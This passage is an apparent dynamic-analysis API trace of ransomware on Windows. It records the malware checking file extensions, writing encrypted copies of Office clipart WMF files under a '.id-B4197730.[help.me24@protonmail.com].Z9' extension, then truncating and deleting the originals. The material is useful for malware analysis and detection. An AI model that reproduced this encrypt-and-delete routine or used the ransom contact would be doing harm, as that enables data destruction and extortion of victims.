	[0169.943] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0169.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF") returned 68
	[0169.943] lstrlenW (lpString=".jpg") returned 4
	[0169.943] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0169.943] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0169.943] lstrlenW (lpString="J0105272.WMF") returned 12
	[0169.943] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105272.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4
	[0169.945] GetFileSizeEx (in: hFile=0x4a4, lpFileSize=0x2e6ff14 | out: lpFileSize=0x2e6ff14*=17728) returned 1
	[0169.945] CloseHandle (hObject=0x4a4) returned 1
	[0169.945] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105272.wmf")) returned 0x220
	[0169.945] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105272.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0169.945] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105272.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4
	[0169.945] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.945] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.946] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105272.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0169.946] GetLastError () returned 0x0
	[0169.946] ReadFile (in: hFile=0x4a4, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x4540, lpOverlapped=0x0) returned 1
	[0169.948] WriteFile (in: hFile=0x4a8, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0x4550, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0x4550, lpOverlapped=0x0) returned 1
	[0169.949] ReadFile (in: hFile=0x4a4, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0169.949] WriteFile (in: hFile=0x4a8, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0xec, lpOverlapped=0x0) returned 1
	[0169.950] SetEndOfFile (hFile=0x4a8) returned 1
	[0169.950] CloseHandle (hObject=0x4a8) returned 1
	[0169.950] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.950] SetEndOfFile (hFile=0x4a4) returned 1
	[0169.953] CloseHandle (hObject=0x4a4) returned 1
	[0169.953] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0169.953] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105272.wmf")) returned 1
	[0169.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68
	[0169.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68
	[0169.954] lstrlenW (lpString=".doc") returned 4
	[0169.954] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0169.954] lstrlenW (lpString=".docx") returned 5
	[0169.954] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0169.954] lstrlenW (lpString=".pdf") returned 4
	[0169.954] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0169.954] lstrlenW (lpString=".xls") returned 4
	[0169.954] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0169.954] lstrlenW (lpString=".xlsx") returned 5
	[0169.954] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0169.954] lstrlenW (lpString=".ppt") returned 4
	[0169.954] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0169.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68
	[0169.954] lstrlenW (lpString=".zip") returned 4
	[0169.955] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0169.955] lstrlenW (lpString=".rar") returned 4
	[0169.955] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0169.955] lstrlenW (lpString=".bz2") returned 4
	[0169.955] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0169.955] lstrlenW (lpString=".7z") returned 3
	[0169.955] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0169.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68
	[0169.955] lstrlenW (lpString=".dbf") returned 4
	[0169.955] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0169.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68
	[0169.955] lstrlenW (lpString=".1cd") returned 4
	[0169.955] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0169.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68
	[0169.955] lstrlenW (lpString=".jpg") returned 4
	[0169.955] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0169.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68
	[0169.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68
	[0169.955] lstrlenW (lpString=".doc") returned 4
	[0169.955] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0169.955] lstrlenW (lpString=".docx") returned 5
	[0169.955] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0169.955] lstrlenW (lpString=".pdf") returned 4
	[0169.955] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0169.955] lstrlenW (lpString=".xls") returned 4
	[0169.955] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0169.955] lstrlenW (lpString=".xlsx") returned 5
	[0169.955] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0169.955] lstrlenW (lpString=".ppt") returned 4
	[0169.955] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0169.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68
	[0169.955] lstrlenW (lpString=".zip") returned 4
	[0169.955] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0169.955] lstrlenW (lpString=".rar") returned 4
	[0169.955] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0169.956] lstrlenW (lpString=".bz2") returned 4
	[0169.956] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0169.956] lstrlenW (lpString=".7z") returned 3
	[0169.956] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0169.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68
	[0169.956] lstrlenW (lpString=".dbf") returned 4
	[0169.956] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0169.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68
	[0169.956] lstrlenW (lpString=".1cd") returned 4
	[0169.956] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0169.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68
	[0169.956] lstrlenW (lpString=".jpg") returned 4
	[0169.956] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0169.956] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0169.956] lstrlenW (lpString="J0105276.WMF") returned 12
	[0169.956] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105276.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0170.135] GetFileSizeEx (in: hFile=0x52c, lpFileSize=0x2e6ff14 | out: lpFileSize=0x2e6ff14*=19240) returned 1
	[0170.136] CloseHandle (hObject=0x52c) returned 1
	[0170.136] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105276.wmf")) returned 0x220
	[0170.136] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105276.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0170.136] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105276.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0170.136] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.136] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.136] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105276.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520
	[0170.137] GetLastError () returned 0x0
	[0170.137] ReadFile (in: hFile=0x52c, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x4b28, lpOverlapped=0x0) returned 1
	[0170.139] WriteFile (in: hFile=0x520, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0x4b30, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0x4b30, lpOverlapped=0x0) returned 1
	[0170.141] ReadFile (in: hFile=0x52c, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0170.141] WriteFile (in: hFile=0x520, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0xec, lpOverlapped=0x0) returned 1
	[0170.141] SetEndOfFile (hFile=0x520) returned 1
	[0170.141] CloseHandle (hObject=0x520) returned 1
	[0170.141] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.141] SetEndOfFile (hFile=0x52c) returned 1
	[0170.144] CloseHandle (hObject=0x52c) returned 1
	[0170.144] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0170.145] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105276.wmf")) returned 1
	[0170.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68
	[0170.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68
	[0170.145] lstrlenW (lpString=".doc") returned 4
	[0170.145] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0170.145] lstrlenW (lpString=".docx") returned 5
	[0170.145] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0170.145] lstrlenW (lpString=".pdf") returned 4
	[0170.145] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0170.145] lstrlenW (lpString=".xls") returned 4
	[0170.145] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0170.145] lstrlenW (lpString=".xlsx") returned 5
	[0170.146] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0170.146] lstrlenW (lpString=".ppt") returned 4
	[0170.146] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0170.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68
	[0170.146] lstrlenW (lpString=".zip") returned 4
	[0170.146] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0170.146] lstrlenW (lpString=".rar") returned 4
	[0170.146] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0170.146] lstrlenW (lpString=".bz2") returned 4
	[0170.146] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0170.146] lstrlenW (lpString=".7z") returned 3
	[0170.146] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0170.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68
	[0170.146] lstrlenW (lpString=".dbf") returned 4
	[0170.146] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0170.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68
	[0170.146] lstrlenW (lpString=".1cd") returned 4
	[0170.146] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0170.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68
	[0170.146] lstrlenW (lpString=".jpg") returned 4
	[0170.146] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0170.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68
	[0170.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68
	[0170.146] lstrlenW (lpString=".doc") returned 4
	[0170.146] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0170.146] lstrlenW (lpString=".docx") returned 5
	[0170.146] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0170.146] lstrlenW (lpString=".pdf") returned 4
	[0170.146] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0170.146] lstrlenW (lpString=".xls") returned 4
	[0170.146] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0170.146] lstrlenW (lpString=".xlsx") returned 5
	[0170.146] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0170.146] lstrlenW (lpString=".ppt") returned 4
	[0170.146] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0170.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68
	[0170.147] lstrlenW (lpString=".zip") returned 4
	[0170.147] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0170.147] lstrlenW (lpString=".rar") returned 4
	[0170.147] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0170.147] lstrlenW (lpString=".bz2") returned 4
	[0170.147] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0170.147] lstrlenW (lpString=".7z") returned 3
	[0170.147] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0170.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68
	[0170.147] lstrlenW (lpString=".dbf") returned 4
	[0170.147] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0170.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68
	[0170.147] lstrlenW (lpString=".1cd") returned 4
	[0170.147] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0170.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68
	[0170.147] lstrlenW (lpString=".jpg") returned 4
	[0170.147] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0170.147] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0170.147] lstrlenW (lpString="J0105320.WMF") returned 12
	[0170.147] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105320.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0170.148] GetFileSizeEx (in: hFile=0x52c, lpFileSize=0x2e6ff14 | out: lpFileSize=0x2e6ff14*=2020) returned 1
	[0170.148] CloseHandle (hObject=0x52c) returned 1
	[0170.148] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105320.wmf")) returned 0x220
	[0170.148] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105320.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0170.148] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105320.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0170.149] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.149] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.149] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105320.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520
	[0170.149] GetLastError () returned 0x0
	[0170.149] ReadFile (in: hFile=0x52c, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x7e4, lpOverlapped=0x0) returned 1
	[0170.151] WriteFile (in: hFile=0x520, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0x7f0, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0x7f0, lpOverlapped=0x0) returned 1
	[0170.152] ReadFile (in: hFile=0x52c, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0170.152] WriteFile (in: hFile=0x520, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0xec, lpOverlapped=0x0) returned 1
	[0170.152] SetEndOfFile (hFile=0x520) returned 1
	[0170.153] CloseHandle (hObject=0x520) returned 1
	[0170.153] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.153] SetEndOfFile (hFile=0x52c) returned 1
	[0170.155] CloseHandle (hObject=0x52c) returned 1
	[0170.155] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0170.155] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105320.wmf")) returned 1
	[0170.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68
	[0170.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68
	[0170.156] lstrlenW (lpString=".doc") returned 4
	[0170.156] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0170.156] lstrlenW (lpString=".docx") returned 5
	[0170.156] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0170.156] lstrlenW (lpString=".pdf") returned 4
	[0170.156] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0170.156] lstrlenW (lpString=".xls") returned 4
	[0170.156] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0170.156] lstrlenW (lpString=".xlsx") returned 5
	[0170.156] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0170.156] lstrlenW (lpString=".ppt") returned 4
	[0170.156] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0170.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68
	[0170.156] lstrlenW (lpString=".zip") returned 4
	[0170.156] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0170.156] lstrlenW (lpString=".rar") returned 4
	[0170.156] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0170.156] lstrlenW (lpString=".bz2") returned 4
	[0170.157] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0170.157] lstrlenW (lpString=".7z") returned 3
	[0170.157] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0170.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68
	[0170.157] lstrlenW (lpString=".dbf") returned 4
	[0170.157] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0170.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68
	[0170.157] lstrlenW (lpString=".1cd") returned 4
	[0170.157] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0170.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68
	[0170.157] lstrlenW (lpString=".jpg") returned 4
	[0170.157] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0170.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68
	[0170.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68
	[0170.157] lstrlenW (lpString=".doc") returned 4
	[0170.157] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0170.157] lstrlenW (lpString=".docx") returned 5
	[0170.157] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0170.157] lstrlenW (lpString=".pdf") returned 4
	[0170.157] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0170.157] lstrlenW (lpString=".xls") returned 4
	[0170.157] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0170.157] lstrlenW (lpString=".xlsx") returned 5
	[0170.157] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0170.157] lstrlenW (lpString=".ppt") returned 4
	[0170.157] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0170.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68
	[0170.157] lstrlenW (lpString=".zip") returned 4
	[0170.157] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0170.157] lstrlenW (lpString=".rar") returned 4
	[0170.157] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0170.157] lstrlenW (lpString=".bz2") returned 4
	[0170.157] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0170.157] lstrlenW (lpString=".7z") returned 3
	[0170.157] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0170.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68
	[0170.158] lstrlenW (lpString=".dbf") returned 4
	[0170.158] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
